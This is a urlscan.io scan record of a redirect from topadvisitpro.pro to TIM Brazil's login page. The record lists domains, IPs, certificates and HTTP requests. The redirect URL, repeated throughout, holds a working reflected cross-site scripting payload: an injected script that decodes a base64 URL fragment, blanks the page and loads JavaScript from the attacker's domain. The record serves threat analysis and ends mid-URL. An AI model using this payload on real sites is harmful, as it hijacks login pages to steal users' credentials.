auth3.tim.com.br Open in urlscan Pro
45.60.63.22 Public Scan

Go To Rescan
Add Verdict Report

Submitted URL:
http://topadvisitpro.pro/lion/600djkhkd.php
Effective URL:
http://auth3.tim.com.br/v3/accesscontrol-web/heloading?bmctx=D1C237A58FCD95265CB8D6ACE4AD377F2DE982FD5328553125A1F2A984F...
Submission: On January 22 via api (January 22nd 2024, 10:22:23 pm UTC) from US — Scanned from US

Summary HTTP 24 Redirects Behaviour Indicators

Summary

This website contacted 8 IPs in 3 countries across 8 domains to perform 24 HTTP transactions. The main IP is 45.60.63.22, located in United States and belongs to INCAPSULA, US. The main domain is auth3.tim.com.br.

This is the only time auth3.tim.com.br was scanned on urlscan.io!

urlscan.io Verdict: No classification

Domain & IP information

	IP Address	AS Autonomous System
1 2	45.90.56.13 45.90.56.13	204957 (GREENFLOI...) (GREENFLOID-AS)
3 15	45.60.63.22 45.60.63.22	19551 (INCAPSULA) (INCAPSULA)
3	142.250.72.104 142.250.72.104	15169 (GOOGLE) (GOOGLE)
2	91.241.94.8 91.241.94.8	49582 (UPSTREAM-...) (UPSTREAM-AS Greece)
1	91.220.208.18 91.220.208.18	() ()
1	142.250.65.174 142.250.65.174	() ()
1	172.253.63.154 172.253.63.154	() ()
24	8

2 45.90.56.13 (Geneva, Switzerland) 1 redirects

ASN204957 (GREENFLOID-AS, US)
PTR: mon-fri.gg

topadvisitpro.pro	Domain lookup VirusTotal SecurityTrails crt.sh Censys Domaintools

15 45.60.63.22 (United States) 3 redirects

ASN19551 (INCAPSULA, US)

auth3.tim.com.br	Domain lookup VirusTotal SecurityTrails crt.sh Censys Domaintools

3 142.250.72.104 (United States)

ASN15169 (GOOGLE, US)
PTR: lga34s32-in-f8.1e100.net

www.googletagmanager.com	Domain lookup VirusTotal SecurityTrails crt.sh Censys Domaintools

2 91.241.94.8 (Greece)

ASN49582 (UPSTREAM-AS Greece, GR)

www.timpromos.com.br	Domain lookup VirusTotal SecurityTrails crt.sh Censys Domaintools

1 91.220.208.18 (None, )

ASN- ()

analytics-br-tim.securewebfraud.io	Domain lookup VirusTotal SecurityTrails crt.sh Censys Domaintools

1 142.250.65.174 (None, )

ASN- ()

analytics.google.com	Domain lookup VirusTotal SecurityTrails crt.sh Censys Domaintools

1 172.253.63.154 (None, )

ASN- ()

stats.g.doubleclick.net	Domain lookup VirusTotal SecurityTrails crt.sh Censys Domaintools

	Apex Domain Subdomains	Transfer
15	tim.com.br 3 redirects auth3.tim.com.br	79 KB
3	googletagmanager.com www.googletagmanager.com — Cisco Umbrella Rank: 37	152 KB
2	timpromos.com.br www.timpromos.com.br	47 KB
2	topadvisitpro.pro 1 redirects topadvisitpro.pro	6 KB
1	doubleclick.net stats.g.doubleclick.net	245 B
1	google.com analytics.google.com google.com Failed	254 B
1	securewebfraud.io analytics-br-tim.securewebfraud.io	332 B
0	dindo.com.br Failed wap.dindo.com.br Failed
24	8

	Domain	Requested by
15	auth3.tim.com.br	3 redirects auth3.tim.com.br
3	www.googletagmanager.com	auth3.tim.com.br www.googletagmanager.com
2	www.timpromos.com.br	auth3.tim.com.br
2	topadvisitpro.pro	1 redirects auth3.tim.com.br
1	stats.g.doubleclick.net	www.googletagmanager.com
1	analytics.google.com	www.googletagmanager.com
1	analytics-br-tim.securewebfraud.io
0	google.com Failed	topadvisitpro.pro
0	wap.dindo.com.br Failed	auth3.tim.com.br
24	9

This site contains no links.

Subject Issuer	Validity	Valid
auth3.tim.com.br DigiCert Global G2 TLS RSA SHA256 2020 CA1	`2023-04-19` - `2024-04-18`	a year	crt.sh
*.google-analytics.com GTS CA 1C3	`2023-12-11` - `2024-03-04`	3 months	crt.sh
*.google.com GTS CA 1C3	`2023-12-11` - `2024-03-04`	3 months	crt.sh
*.g.doubleclick.net GTS CA 1C3	`2023-12-11` - `2024-03-04`	3 months	crt.sh

This page contains 3 frames:

Frame: https://google.com/
Frame ID: 52FAD69B475DB96D0A09EF2B8040F5EC
Requests: 18 HTTP requests in this frame

Frame: https://wap.dindo.com.br/newMobile/auth/tim/header.aspx?s=25
Frame ID: 210E56FAFBFDD644F150A69B12448738
Requests: 1 HTTP requests in this frame

Frame: https://auth3.tim.com.br/v3/accesscontrol-web/assets/OTA-BRTIM-CENTR-refuturiza1-weekly-pt-doi-web.css?ver=38
Frame ID: C48A25337DE19D581722FA4AD3D95117
Requests: 5 HTTP requests in this frame

Screenshot
Live screenshot

Full Image

Page URL History Show full URLs

http://topadvisitpro.pro/lion/600djkhkd.php HTTP 301
http://auth3.tim.com.br/v3/accesscontrol-web/heloading?bmctx=D1C237A58FCD95265CB8D6ACE4AD377F2DE982F... Page URL

Detected technologies

Google Tag Manager (Tag Managers) Expand

Overall confidence: 100%
Detected patterns

googletagmanager\.com/gtm\.js
googletagmanager\.com/gtag/js

jQuery (JavaScript Libraries) Expand

Overall confidence: 100%
Detected patterns

jquery.*\.js(?:\?ver(?:sion)?=([\d.]+))?

Page Statistics

24
Requests

54 %
HTTPS

0 %
IPv6

8
Domains

9
Subdomains

8
IPs

3
Countries

280 kB
Transfer

800 kB
Size

5
Cookies

0 Outgoing links

These are links going to different origins than the main page.

Page URL History

This captures the URL locations of the websites, including HTTP redirects and client-side redirects via JavaScript or Meta fields.

http://topadvisitpro.pro/lion/600djkhkd.php HTTP 301
http://auth3.tim.com.br/v3/accesscontrol-web/heloading?bmctx=D1C237A58FCD95265CB8D6ACE4AD377F2DE982FD5328553125A1F2A984F4091ACB28FCD2C93EFA64F67EC7905B8B708C&contextType=external&username=string&enablePersistentLogin=true&password=secure_string&challenge_url=http%3A%2F%2Fauth3.tim.com.br%2Fv3%2Faccesscontrol-web%2Fheloading&request_id=8407358969913691941&authn_try_count=0&locale=uk_UA&resource_url=https%253A%252F%252Fauth3.tim.com.br%252Fv3%252Faccesscontrol-web%252Fhe%253Fclient_id%253Db4da3e0624b94cbabb4d4c82b84b3012%2526csp%253D751%2526appid%253D11657%2526msisdn%253D16982527516%2526redirect_uri%253Dhttp%2525253A%2525252F%2525252Fwww.timpromos.com.br%2525252FNCN%2525252Fcallback%2525252Fpending%2526SecureSessionId%253DAQ4z3kkKCibe9oqqd_5osqMKaYkmfLQn0SBDpKMj_k8SHvaQO11enrYcmhdBDWgLEgjG%2526campaignReturnURL%253Dhttp%2525253A%2525252F%2525252Fwww.timpromos.com.br%2522%253E%00%00%00%00%00%00%00%253CScript%253Eeval(atob(window.location.hash.substr(1)))%253C%252FScript%253E%2525252FNCN%2525252Fredirect%2526paymentType%253D2 Page URL

Redirected requests

There were HTTP redirect chains for the following requests:

Request Chain 13

http://auth3.tim.com.br/v3/accesscontrol-web/assets/OTA-BRTIM-CENTR-refuturiza1-weekly-pt-doi-web.css?ver=38 HTTP 302
https://auth3.tim.com.br/v3/accesscontrol-web/assets/OTA-BRTIM-CENTR-refuturiza1-weekly-pt-doi-web.css?ver=38

Request Chain 15

http://auth3.tim.com.br/v3/accesscontrol-web/assets/images/Telecom/OTA-refuturiza1-logo.png HTTP 302
https://auth3.tim.com.br/v3/accesscontrol-web/assets/images/Telecom/OTA-refuturiza1-logo.png

Request Chain 16

http://auth3.tim.com.br/v3/accesscontrol-web/assets/images/Telecom/check.png HTTP 302
https://auth3.tim.com.br/v3/accesscontrol-web/assets/images/Telecom/check.png

24 HTTP transactions
0 data transactions

Method
Protocol Status Resource
Path Size
x-fer Time
Latency Type
MIME-Type IP
Location

GET
H/1.1

200
OK

Primary Request heloading Show response
auth3.tim.com.br/v3/accesscontrol-web/
Redirect Chain

http://topadvisitpro.pro/lion/600djkhkd.php
http://auth3.tim.com.br/v3/accesscontrol-web/heloading?bmctx=D1C237A58FCD95265CB8D6ACE4AD377F2DE982FD5328553125A1F2A984F4091ACB28FCD2C93EFA64F67EC7905B8B708C&contextType=external&username=string&en...

14 KB
4 KB

702ms
599ms

Document
text/html

45.60.63.22
INCAPSULA

General

Check archive.org

Show headers Download Go to

Full URL: http://auth3.tim.com.br/v3/accesscontrol-web/heloading?bmctx=D1C237A58FCD95265CB8D6ACE4AD377F2DE982FD5328553125A1F2A984F4091ACB28FCD2C93EFA64F67EC7905B8B708C&contextType=external&username=string&enablePersistentLogin=true&password=secure_string&challenge_url=http%3A%2F%2Fauth3.tim.com.br%2Fv3%2Faccesscontrol-web%2Fheloading&request_id=8407358969913691941&authn_try_count=0&locale=uk_UA&resource_url=https%253A%252F%252Fauth3.tim.com.br%252Fv3%252Faccesscontrol-web%252Fhe%253Fclient_id%253Db4da3e0624b94cbabb4d4c82b84b3012%2526csp%253D751%2526appid%253D11657%2526msisdn%253D16982527516%2526redirect_uri%253Dhttp%2525253A%2525252F%2525252Fwww.timpromos.com.br%2525252FNCN%2525252Fcallback%2525252Fpending%2526SecureSessionId%253DAQ4z3kkKCibe9oqqd_5osqMKaYkmfLQn0SBDpKMj_k8SHvaQO11enrYcmhdBDWgLEgjG%2526campaignReturnURL%253Dhttp%2525253A%2525252F%2525252Fwww.timpromos.com.br%2522%253E%00%00%00%00%00%00%00%253CScript%253Eeval(atob(window.location.hash.substr(1)))%253C%252FScript%253E%2525252FNCN%2525252Fredirect%2526paymentType%253D2
Protocol: HTTP/1.1
Server: 45.60.63.22 , United States, ASN19551 (INCAPSULA, US),
Reverse DNS
Software: Apache /
Resource Hash: 90ae253eaa2abce79bfa26531288f0871e32e62f9d6bd47c20c50c2c5eb6571c

Request headers

Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.224 Safari/537.36
accept-language: en-US,en;q=0.9

Response headers

Connection: Keep-Alive
Content-Encoding: gzip
Content-Language: en-US
Content-Type: text/html; charset=ISO-8859-1
Date: Mon, 22 Jan 2024 22:22:15 GMT
Keep-Alive: timeout=4, max=1500
Server: Apache
Transfer-Encoding: chunked
X-CDN: Imperva
X-Iinfo: 61-13882750-13882751 NNYN CT(187 -1 0) RT(1705962135129 0) q(0 0 2 0) r(5 5) U24

Redirect headers

Connection: Keep-Alive
Content-Length: 0
Content-Type: text/html; charset=UTF-8
Date: Mon, 22 Jan 2024 22:22:14 GMT
Keep-Alive: timeout=5, max=100
Location: http://auth3.tim.com.br/v3/accesscontrol-web/heloading?bmctx=D1C237A58FCD95265CB8D6ACE4AD377F2DE982FD5328553125A1F2A984F4091ACB28FCD2C93EFA64F67EC7905B8B708C&contextType=external&username=string&enablePersistentLogin=true&password=secure_string&challenge_url=http%3A%2F%2Fauth3.tim.com.br%2Fv3%2Faccesscontrol-web%2Fheloading&request_id=8407358969913691941&authn_try_count=0&locale=uk_UA&resource_url=https%253A%252F%252Fauth3.tim.com.br%252Fv3%252Faccesscontrol-web%252Fhe%253Fclient_id%253Db4da3e0624b94cbabb4d4c82b84b3012%2526csp%253D751%2526appid%253D11657%2526msisdn%253D16982527516%2526redirect_uri%253Dhttp%2525253A%2525252F%2525252Fwww.timpromos.com.br%2525252FNCN%2525252Fcallback%2525252Fpending%2526SecureSessionId%253DAQ4z3kkKCibe9oqqd_5osqMKaYkmfLQn0SBDpKMj_k8SHvaQO11enrYcmhdBDWgLEgjG%2526campaignReturnURL%253Dhttp%2525253A%2525252F%2525252Fwww.timpromos.com.br%2522%253E%00%00%00%00%00%00%00%253CScript%253Eeval(atob(window.location.hash.substr(1)))%253C%252FScript%253E%2525252FNCN%2525252Fredirect%2526paymentType%253D2#ZG9jdW1lbnQuZ2V0RWxlbWVudHNCeVRhZ05hbWUoJ2h0bWwnKVswXS5pbm5lckhUTUwgPSAnJzt2YXIgcz1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTtzLnR5cGU9J3RleHQvamF2YXNjcmlwdCc7cy5zcmM9Jy8vdG9wYWR2aXNpdHByby5wcm8vbGlvbi8yMjJnZGhqL3RlbXAuanMnO2lkQ2xpY2s9Jyc7bGluaz0nYUhSMGNEb3ZMM2QzZHk1MGFXMXdjbTl0YjNNdVkyOXRMbUp5TDA5VVFTMUNVbFJKVFMxRFJVNVVVaTl5WldaMWRIVnlhWHBoTVMxM1pXVnJiSGt0Y0hRdFpHOXBMWGRsWWo5SVJVdGxlWGR2Y21ROVQxUkJYMUpGUmxWVVZWSkpXa0ZmVjBWRlMxOUhVa3hmTVNaMWRHMWZjMjkxY21ObFBXZHZjbWxzYkdFbWRYUnRYMjFsWkdsMWJUMWpjR0VtZFhSdFgyTnZiblJsYm5ROWNtVm1kWFIxY21sNllURW1kWFJ0WDJOaGJYQmhhV2R1UFU5VVFWOVNSVVpWVkZWU1NWcEJYMWRGUlV0ZlIxSk1YekV0WjI5eWFXeHNZUzEzWldJdFkzQmhMWEpsWm5WMGRYSnBlbUV4TFdsdFlXZGxKbWR5YkY5cFpEMXVRbEZQVEdzMU1IbEhNakV3TURBMlMybGlWMDQzYzJSU1VtbGFhakFtWjNKc1gzQjFZbWxrUFRnMU9TWm5jbXhmYzNWaVgzQjFZbWxrUFE9PSc7ZG9jdW1lbnQuaGVhZC5hcHBlbmRDaGlsZChzKTs=
Server: Apache/2.4.38 (Debian)

GET
H2 200 TIM-Login-styles-sheet.css
auth3.tim.com.br/OTP/css/ 21 KB
4 KB 1031ms
859ms Stylesheet
text/css 45.60.63.22
INCAPSULA

General

Check archive.org

Show headers Download Go to

Full URL: https://auth3.tim.com.br/OTP/css/TIM-Login-styles-sheet.css
Requested by: Host: auth3.tim.com.br
URL: http://auth3.tim.com.br/v3/accesscontrol-web/heloading?bmctx=D1C237A58FCD95265CB8D6ACE4AD377F2DE982FD5328553125A1F2A984F4091ACB28FCD2C93EFA64F67EC7905B8B708C&contextType=external&username=string&enablePersistentLogin=true&password=secure_string&challenge_url=http%3A%2F%2Fauth3.tim.com.br%2Fv3%2Faccesscontrol-web%2Fheloading&request_id=8407358969913691941&authn_try_count=0&locale=uk_UA&resource_url=https%253A%252F%252Fauth3.tim.com.br%252Fv3%252Faccesscontrol-web%252Fhe%253Fclient_id%253Db4da3e0624b94cbabb4d4c82b84b3012%2526csp%253D751%2526appid%253D11657%2526msisdn%253D16982527516%2526redirect_uri%253Dhttp%2525253A%2525252F%2525252Fwww.timpromos.com.br%2525252FNCN%2525252Fcallback%2525252Fpending%2526SecureSessionId%253DAQ4z3kkKCibe9oqqd_5osqMKaYkmfLQn0SBDpKMj_k8SHvaQO11enrYcmhdBDWgLEgjG%2526campaignReturnURL%253Dhttp%2525253A%2525252F%2525252Fwww.timpromos.com.br%2522%253E%00%00%00%00%00%00%00%253CScript%253Eeval(atob(window.location.hash.substr(1)))%253C%252FScript%253E%2525252FNCN%2525252Fredirect%2526paymentType%253D2
Protocol: H2
Security: TLS 1.3, , AES_128_GCM
Server: 45.60.63.22 , United States, ASN19551 (INCAPSULA, US),
Reverse DNS
Software: Apache /
Resource Hash: 38b82be8dc970bd32e5651b51b46d5c5bdd81a1766c035bbe022f1d00ac09fce

Request headers

accept-language: en-US,en;q=0.9
Referer: http://auth3.tim.com.br/
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.224 Safari/537.36

Response headers

date: Mon, 22 Jan 2024 22:22:17 GMT
content-encoding: gzip
last-modified: Thu, 04 May 2017 03:57:51 GMT
server: Apache
x-cdn: Imperva
etag: "1742c1-539a-54eaac6d7edc0"
content-type: text/css
x-iinfo: 55-9235023-9235032 NNYN CT(190 382 0) RT(1705962135819 87) q(0 0 5 0) r(7 7) U24
x-incap-sess-cookie-hdr: F3pOKGoBHH+AJ0GmQBFjApjqrmUAAAAApEEh8szMOZU3RAPGkZzNjQ==
accept-ranges: bytes

GET cns.css
wap.dindo.com.br/newMobile/auth/tim/ 0
0

GET
H2 200 jquery.min.js Show response
auth3.tim.com.br/OTP/js/ 95 KB
34 KB 1056ms
885ms Script
application/javascript 45.60.63.22
INCAPSULA

General

Check archive.org

Show headers Download Go to

Full URL: https://auth3.tim.com.br/OTP/js/jquery.min.js
Requested by: Host: auth3.tim.com.br
URL: http://auth3.tim.com.br/v3/accesscontrol-web/heloading?bmctx=D1C237A58FCD95265CB8D6ACE4AD377F2DE982FD5328553125A1F2A984F4091ACB28FCD2C93EFA64F67EC7905B8B708C&contextType=external&username=string&enablePersistentLogin=true&password=secure_string&challenge_url=http%3A%2F%2Fauth3.tim.com.br%2Fv3%2Faccesscontrol-web%2Fheloading&request_id=8407358969913691941&authn_try_count=0&locale=uk_UA&resource_url=https%253A%252F%252Fauth3.tim.com.br%252Fv3%252Faccesscontrol-web%252Fhe%253Fclient_id%253Db4da3e0624b94cbabb4d4c82b84b3012%2526csp%253D751%2526appid%253D11657%2526msisdn%253D16982527516%2526redirect_uri%253Dhttp%2525253A%2525252F%2525252Fwww.timpromos.com.br%2525252FNCN%2525252Fcallback%2525252Fpending%2526SecureSessionId%253DAQ4z3kkKCibe9oqqd_5osqMKaYkmfLQn0SBDpKMj_k8SHvaQO11enrYcmhdBDWgLEgjG%2526campaignReturnURL%253Dhttp%2525253A%2525252F%2525252Fwww.timpromos.com.br%2522%253E%00%00%00%00%00%00%00%253CScript%253Eeval(atob(window.location.hash.substr(1)))%253C%252FScript%253E%2525252FNCN%2525252Fredirect%2526paymentType%253D2
Protocol: H2
Security: TLS 1.3, , AES_128_GCM
Server: 45.60.63.22 , United States, ASN19551 (INCAPSULA, US),
Reverse DNS
Software: Apache /
Resource Hash: 668b046d12db350ccba6728890476b3efee53b2f42dbb84743e5e9f1ae0cc404

Request headers

accept-language: en-US,en;q=0.9
Referer: http://auth3.tim.com.br/
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.224 Safari/537.36

Response headers

date: Mon, 22 Jan 2024 22:22:17 GMT
content-encoding: gzip
last-modified: Tue, 13 Sep 2016 17:46:50 GMT
server: Apache
x-cdn: Imperva
etag: "42851-17b8b-53c67327e7680"
content-type: application/javascript
x-iinfo: 55-9235023-9235037 NNYN CT(213 385 0) RT(1705962135819 94) q(0 0 6 -1) r(8 8) U24
x-incap-sess-cookie-hdr: zsWQGkofUi2AJ0GmQBFjApjqrmUAAAAAz7XzdMCun0mKlTYaYRdCtw==
accept-ranges: bytes

GET
H2 200 jquery.mask.min.js Show response
auth3.tim.com.br/OTP/js/ 6 KB
3 KB 1063ms
893ms Script
application/javascript 45.60.63.22
INCAPSULA

General

Check archive.org

Show headers Download Go to

Full URL: https://auth3.tim.com.br/OTP/js/jquery.mask.min.js
Requested by: Host: auth3.tim.com.br
URL: http://auth3.tim.com.br/v3/accesscontrol-web/heloading?bmctx=D1C237A58FCD95265CB8D6ACE4AD377F2DE982FD5328553125A1F2A984F4091ACB28FCD2C93EFA64F67EC7905B8B708C&contextType=external&username=string&enablePersistentLogin=true&password=secure_string&challenge_url=http%3A%2F%2Fauth3.tim.com.br%2Fv3%2Faccesscontrol-web%2Fheloading&request_id=8407358969913691941&authn_try_count=0&locale=uk_UA&resource_url=https%253A%252F%252Fauth3.tim.com.br%252Fv3%252Faccesscontrol-web%252Fhe%253Fclient_id%253Db4da3e0624b94cbabb4d4c82b84b3012%2526csp%253D751%2526appid%253D11657%2526msisdn%253D16982527516%2526redirect_uri%253Dhttp%2525253A%2525252F%2525252Fwww.timpromos.com.br%2525252FNCN%2525252Fcallback%2525252Fpending%2526SecureSessionId%253DAQ4z3kkKCibe9oqqd_5osqMKaYkmfLQn0SBDpKMj_k8SHvaQO11enrYcmhdBDWgLEgjG%2526campaignReturnURL%253Dhttp%2525253A%2525252F%2525252Fwww.timpromos.com.br%2522%253E%00%00%00%00%00%00%00%253CScript%253Eeval(atob(window.location.hash.substr(1)))%253C%252FScript%253E%2525252FNCN%2525252Fredirect%2526paymentType%253D2
Protocol: H2
Security: TLS 1.3, , AES_128_GCM
Server: 45.60.63.22 , United States, ASN19551 (INCAPSULA, US),
Reverse DNS
Software: Apache /
Resource Hash: e0ef803f8bb9cbe07f2407212c2422f87d48dbd08addb5bb994c5f485b2dcc6a

Request headers

accept-language: en-US,en;q=0.9
Referer: http://auth3.tim.com.br/
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.224 Safari/537.36

Response headers

date: Mon, 22 Jan 2024 22:22:17 GMT
content-encoding: gzip
last-modified: Mon, 12 Sep 2016 11:15:48 GMT
server: Apache
x-cdn: Imperva
etag: "42850-1788-53c4d9e356100"
content-type: application/javascript
x-iinfo: 55-9235023-9235035 NNYN CT(209 397 0) RT(1705962135819 87) q(0 0 6 6) r(8 8) U24
x-incap-sess-cookie-hdr: uXVyWDrbqyOAJ0GmQBFjApjqrmUAAAAAU6xE/q/nmGWj3QN/cEyqPw==
accept-ranges: bytes

GET
H2 200 jquery.bxslider.min.js Show response
auth3.tim.com.br/OTP/js/ 20 KB
6 KB 1056ms
886ms Script
application/javascript 45.60.63.22
INCAPSULA

General

Check archive.org

Show headers Download Go to

Full URL: https://auth3.tim.com.br/OTP/js/jquery.bxslider.min.js
Requested by: Host: auth3.tim.com.br
URL: http://auth3.tim.com.br/v3/accesscontrol-web/heloading?bmctx=D1C237A58FCD95265CB8D6ACE4AD377F2DE982FD5328553125A1F2A984F4091ACB28FCD2C93EFA64F67EC7905B8B708C&contextType=external&username=string&enablePersistentLogin=true&password=secure_string&challenge_url=http%3A%2F%2Fauth3.tim.com.br%2Fv3%2Faccesscontrol-web%2Fheloading&request_id=8407358969913691941&authn_try_count=0&locale=uk_UA&resource_url=https%253A%252F%252Fauth3.tim.com.br%252Fv3%252Faccesscontrol-web%252Fhe%253Fclient_id%253Db4da3e0624b94cbabb4d4c82b84b3012%2526csp%253D751%2526appid%253D11657%2526msisdn%253D16982527516%2526redirect_uri%253Dhttp%2525253A%2525252F%2525252Fwww.timpromos.com.br%2525252FNCN%2525252Fcallback%2525252Fpending%2526SecureSessionId%253DAQ4z3kkKCibe9oqqd_5osqMKaYkmfLQn0SBDpKMj_k8SHvaQO11enrYcmhdBDWgLEgjG%2526campaignReturnURL%253Dhttp%2525253A%2525252F%2525252Fwww.timpromos.com.br%2522%253E%00%00%00%00%00%00%00%253CScript%253Eeval(atob(window.location.hash.substr(1)))%253C%252FScript%253E%2525252FNCN%2525252Fredirect%2526paymentType%253D2
Protocol: H2
Security: TLS 1.3, , AES_128_GCM
Server: 45.60.63.22 , United States, ASN19551 (INCAPSULA, US),
Reverse DNS
Software: Apache /
Resource Hash: 646de1820a3f0a81b2aa7ea26de561e5cbab36ef8430d7bb7b7f0ab024569b40

Request headers

accept-language: en-US,en;q=0.9
Referer: http://auth3.tim.com.br/
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.224 Safari/537.36

Response headers

date: Mon, 22 Jan 2024 22:22:17 GMT
content-encoding: gzip
last-modified: Mon, 12 Sep 2016 11:15:48 GMT
server: Apache
x-cdn: Imperva
etag: "f8074-4e4c-53c4d9e356100"
content-type: application/javascript
x-iinfo: 55-9235023-9235034 NNYN CT(210 391 0) RT(1705962135819 90) q(0 0 6 -1) r(8 8) U24
x-incap-sess-cookie-hdr: JrSUUKs+OBqAJ0GmQBFjApjqrmUAAAAAGujQrwUPqedh/JABQQ41LA==
accept-ranges: bytes

GET
H2 200 bowser.js Show response
auth3.tim.com.br/OTP/js/ 9 KB
3 KB 1063ms
893ms Script
application/javascript 45.60.63.22
INCAPSULA

General

Check archive.org

Show headers Download Go to

Full URL: https://auth3.tim.com.br/OTP/js/bowser.js
Requested by: Host: auth3.tim.com.br
URL: http://auth3.tim.com.br/v3/accesscontrol-web/heloading?bmctx=D1C237A58FCD95265CB8D6ACE4AD377F2DE982FD5328553125A1F2A984F4091ACB28FCD2C93EFA64F67EC7905B8B708C&contextType=external&username=string&enablePersistentLogin=true&password=secure_string&challenge_url=http%3A%2F%2Fauth3.tim.com.br%2Fv3%2Faccesscontrol-web%2Fheloading&request_id=8407358969913691941&authn_try_count=0&locale=uk_UA&resource_url=https%253A%252F%252Fauth3.tim.com.br%252Fv3%252Faccesscontrol-web%252Fhe%253Fclient_id%253Db4da3e0624b94cbabb4d4c82b84b3012%2526csp%253D751%2526appid%253D11657%2526msisdn%253D16982527516%2526redirect_uri%253Dhttp%2525253A%2525252F%2525252Fwww.timpromos.com.br%2525252FNCN%2525252Fcallback%2525252Fpending%2526SecureSessionId%253DAQ4z3kkKCibe9oqqd_5osqMKaYkmfLQn0SBDpKMj_k8SHvaQO11enrYcmhdBDWgLEgjG%2526campaignReturnURL%253Dhttp%2525253A%2525252F%2525252Fwww.timpromos.com.br%2522%253E%00%00%00%00%00%00%00%253CScript%253Eeval(atob(window.location.hash.substr(1)))%253C%252FScript%253E%2525252FNCN%2525252Fredirect%2526paymentType%253D2
Protocol: H2
Security: TLS 1.3, , AES_128_GCM
Server: 45.60.63.22 , United States, ASN19551 (INCAPSULA, US),
Reverse DNS
Software: Apache /
Resource Hash: 71928367deed25916c0de98665f5733b47e07ae048a79a0901a48fabb9876040

Request headers

accept-language: en-US,en;q=0.9
Referer: http://auth3.tim.com.br/
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.224 Safari/537.36

Response headers

date: Mon, 22 Jan 2024 22:22:17 GMT
content-encoding: gzip
last-modified: Thu, 12 Jan 2017 19:10:36 GMT
server: Apache
x-cdn: Imperva
etag: "41283-2219-545ea78dd8300"
content-type: application/javascript
x-iinfo: 55-9235023-9235043 NNYN CT(202 387 0) RT(1705962135819 110) q(0 0 6 -1) r(8 8) U24
x-incap-sess-cookie-hdr: tpNAOwpreQCAJ0GmQBFjApjqrmUAAAAAgsyXUx9be2AXE75HKqQhPw==
accept-ranges: bytes

GET
H2 200 spinner.js Show response
auth3.tim.com.br/OTP/js/ 611 B
879 B 1056ms
886ms Script
application/javascript 45.60.63.22
INCAPSULA

General

Check archive.org

Show headers Download Go to

Full URL: https://auth3.tim.com.br/OTP/js/spinner.js
Requested by: Host: auth3.tim.com.br
URL: http://auth3.tim.com.br/v3/accesscontrol-web/heloading?bmctx=D1C237A58FCD95265CB8D6ACE4AD377F2DE982FD5328553125A1F2A984F4091ACB28FCD2C93EFA64F67EC7905B8B708C&contextType=external&username=string&enablePersistentLogin=true&password=secure_string&challenge_url=http%3A%2F%2Fauth3.tim.com.br%2Fv3%2Faccesscontrol-web%2Fheloading&request_id=8407358969913691941&authn_try_count=0&locale=uk_UA&resource_url=https%253A%252F%252Fauth3.tim.com.br%252Fv3%252Faccesscontrol-web%252Fhe%253Fclient_id%253Db4da3e0624b94cbabb4d4c82b84b3012%2526csp%253D751%2526appid%253D11657%2526msisdn%253D16982527516%2526redirect_uri%253Dhttp%2525253A%2525252F%2525252Fwww.timpromos.com.br%2525252FNCN%2525252Fcallback%2525252Fpending%2526SecureSessionId%253DAQ4z3kkKCibe9oqqd_5osqMKaYkmfLQn0SBDpKMj_k8SHvaQO11enrYcmhdBDWgLEgjG%2526campaignReturnURL%253Dhttp%2525253A%2525252F%2525252Fwww.timpromos.com.br%2522%253E%00%00%00%00%00%00%00%253CScript%253Eeval(atob(window.location.hash.substr(1)))%253C%252FScript%253E%2525252FNCN%2525252Fredirect%2526paymentType%253D2
Protocol: H2
Security: TLS 1.3, , AES_128_GCM
Server: 45.60.63.22 , United States, ASN19551 (INCAPSULA, US),
Reverse DNS
Software: Apache /
Resource Hash: d8151845717c3ed76a8002136f43423e7efedc096b4f60eb7aefe62c65544eef

Request headers

accept-language: en-US,en;q=0.9
Referer: http://auth3.tim.com.br/
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.224 Safari/537.36

Response headers

date: Mon, 22 Jan 2024 22:22:17 GMT
content-encoding: gzip
last-modified: Wed, 05 Sep 2018 17:22:45 GMT
server: Apache
x-cdn: Imperva
etag: "1742c9-263-5752305ca4340"
content-type: application/javascript
x-iinfo: 55-9235023-9235040 NNYN CT(206 384 0) RT(1705962135819 102) q(0 0 6 -1) r(8 8) U24
x-incap-sess-cookie-hdr: 4g/tYNVzYQOAJ0GmQBFjApjqrmUAAAAAQdwEQEB+EelMspfB2x/xCQ==
accept-ranges: bytes

GET
H2 200 logClientV3.js Show response
auth3.tim.com.br/OTP/js/ 304 B
723 B 1267ms
1097ms Script
application/javascript 45.60.63.22
INCAPSULA

General

Check archive.org

Show headers Download Go to

Full URL: https://auth3.tim.com.br/OTP/js/logClientV3.js
Requested by: Host: auth3.tim.com.br
URL: http://auth3.tim.com.br/v3/accesscontrol-web/heloading?bmctx=D1C237A58FCD95265CB8D6ACE4AD377F2DE982FD5328553125A1F2A984F4091ACB28FCD2C93EFA64F67EC7905B8B708C&contextType=external&username=string&enablePersistentLogin=true&password=secure_string&challenge_url=http%3A%2F%2Fauth3.tim.com.br%2Fv3%2Faccesscontrol-web%2Fheloading&request_id=8407358969913691941&authn_try_count=0&locale=uk_UA&resource_url=https%253A%252F%252Fauth3.tim.com.br%252Fv3%252Faccesscontrol-web%252Fhe%253Fclient_id%253Db4da3e0624b94cbabb4d4c82b84b3012%2526csp%253D751%2526appid%253D11657%2526msisdn%253D16982527516%2526redirect_uri%253Dhttp%2525253A%2525252F%2525252Fwww.timpromos.com.br%2525252FNCN%2525252Fcallback%2525252Fpending%2526SecureSessionId%253DAQ4z3kkKCibe9oqqd_5osqMKaYkmfLQn0SBDpKMj_k8SHvaQO11enrYcmhdBDWgLEgjG%2526campaignReturnURL%253Dhttp%2525253A%2525252F%2525252Fwww.timpromos.com.br%2522%253E